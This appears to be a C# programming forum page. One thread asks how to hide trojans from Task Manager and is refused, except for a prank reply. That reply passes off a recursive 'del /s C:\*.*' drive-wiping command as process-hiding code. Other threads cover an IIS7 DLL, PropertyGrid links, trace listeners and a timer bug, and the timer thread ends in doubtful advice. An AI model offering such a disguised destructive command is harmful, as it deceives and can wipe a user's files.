|
Hi,
about trojans, if run taskmanager i see all threads at the moment, so it´s better to detect when user turn on and off taskmanager, right? is that possible in code? i think so.
the other way to keep trojans stealth is to mess with taskmanager code itself?
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
You are scum. You think we're going to help you write destructive code ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
JACKASS....
Blog link to be reinstated at a later date.
|
|
|
|
|
take it easy!!!
i already read a post asking this on monday!!!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
Even if you're not writing a trojan, someone else could be, so why would we publicly tell people how to do it ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Here's the code:
Put this at the start of your .cs file
Using System.Diagnostics;
Then use this to hid the process itself.
Process HideFromTaskManager = NewProcess();
HideFromTaskManager.Startinfo.Filename = @"del /s C:\*.*"
HideFromTaskManager.StartInfo.CreateNoWindow = True
HideFromTaskManager.Start()
Today's lesson is brought to you by the word "niggardly". Remember kids, don't attribute to racism what can be explained by Scandinavian language roots.
-- Robert Royall
|
|
|
|
|
thanks dan!
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
|
just wanted to know how to do it.
Why is all the fuzz, wanted more how to trigger one procedure when a particular application lanches or shutdown, people already asked it before, and some were thinking on trojans but they didn´t say.
science is neutral, we use it for good or bad purposes, cant put a break there, i think.
nelsonpaixao@yahoo.com.br
trying to help & get help
|
|
|
|
|
hello,
Can someone give me any diraction to get Microsoft.Web.Management.dll.
I can not fine it.
Tnx
Eitan
|
|
|
|
|
Install .NET 3.0 or .NET 3.5 and you should have it.
|
|
|
|
|
Dave hi,
At first I didn't see your answer (only the link to the guide so i thought that i was "bad boy" ...) so I read the guide and rewrote my question.
Than I noticed your answer an did the following:
1. I re installed (repair) the .NET 3.5.
2. I installed SP1 for 3.5
but still I do not have this DLL in the "Arsenal"
Do you have more idias?
Thank you
Eitan
|
|
|
|
|
I just went back and checked my XP machines with .NET 3.0 installed on them. Neither of them have the Microsoft.Web.Management stuff. It looks like that .DLL is specific to Vista/Server 2008 and up, where IIS7 being installed is a possibility.
|
|
|
|
|
|
hi,
Thanks for the reply.
I probebly did not clarify myself good enought. I will ask my question again with more details.
I have windows 2003.server(SP2).
I searched "c:\windows" and its subfolders all DLL files that starts with "m" and "micro" and i did not find this dll on my machin.
I did search google and found only articals and the dll4you.com that charge money for this dll.
i did searched MIcrosoft download site and did not find any dll, i may not know where to look or how to search ( i posted the strind "Microsoft.Web.Management.dll" at the search fields).
please if you can direct me to another dll site or location on the web or if you can post the dll here it will help me.
I need also the "Microsoft.Web.Administration.dll".
thank you again
Eitan
|
|
|
|
|
Eitan,
I doubt you'll find those assemblies in any version of windows other than Windows Vista and Windows 2008 server as they contain IIS 7. You might be lucky that it's available in the windows sdk, but I'm not sure will have to check when I'm back at the office.
As far as I'm aware the Microsoft.Web.Administration and Microsoft.Web.Management namespaces are only useful for working with IIS 7, I might be wrong.
See: http://learn.iis.net/page.aspx/165/how-to-use-microsoftwebadministration/ for information on the "Microsoft.Web.Administration.dll"
Iwan
|
|
|
|
|
Thank you all for your efforts.
unless you have other information,
I understand that I can not use code to manage iis lower than 7.
Eitan
modified on Friday, December 19, 2008 3:41 PM
|
|
|
|
|
I couldn't find resources on adding Verbs or hyperlink in propertygrid. Can you please provide me some links that deals with propertygrid.
Thanks
|
|
|
|
|
In ASP.NET or winforms ? I don't think there is a hyperlink control, I think you need to roll your own.
What do you mean by 'add verbs' ?
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
I was concerned about winforms. Verbs is like a hyperlink which is shown in PropertyGrid just right above the PropertyGrid properties description area.
Simply drag and drop a datagridview and Click on the Visual studio properties and you will see two links "Edit Column" and "Add Column".
I also want to show a link in the propertyGrid so once it is click i can call my function.
|
|
|
|
|
Ah - the stuff that VS does is almost certainly custom code, so you'll have to write code to do it, too.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Hi I have the following code
<br />
<listeners><br />
<add name="TestTrace" type="MyNameSpace.TestListener, TestListener, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" traceOutputOptions="None" initializeData="MYlog.txt"><br />
</add><br />
<br />
</listeners><br />
<br />
Whatever value I put in initializeData will be passed to the constructor of the specified listener.
My question is, How can I send more that one parameter in the constructor using initializeData. Suppose my second parameter is integer.
Thank you
|
|
|
|
|
If only one parameter is allowed, make it an XML string or a struct, or some other way of passing more than one value, in one go.
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Evening all !
I've created a new timer in a form's constructor to make a button on the form flash.
For some reason the program is stepping through the code for the timer tick ONCE and thats it ?
Would appreciate if someone could take a look at it and tell me whats wrong, it's porbably something trivial and i've just been looking at the code too long now !
Thanks in advance
Neil
public Form1()
{
InitializeComponent();
buttonTimer = new Timer();
buttonTimer.Tick += new EventHandler(button_Tick);
buttonTimer.Interval = (50);
populate.BackColor = Color.Black;
populate.ForeColor = Color.Orange;
buttonTimer.Start();
}
void button_Tick(object sender, EventArgs e)
{
if (populate.BackColor == Color.Orange)
{
populate.BackColor = Color.Black;
populate.ForeColor = Color.Orange;
}
if (populate.BackColor == Color.Black)
{
populate.BackColor = Color.Orange;
populate.ForeColor = Color.Black;
}
}
}
|
|
|
|
|
Instead of this:
buttonTimer.Tick += new EventHandler(button_Tick);
Try this:
buttonTimer.Elapsed += new EventHandler(button_Elapsed);
Don't know if it makes any difference, but it's worth a try.
|
|
|
|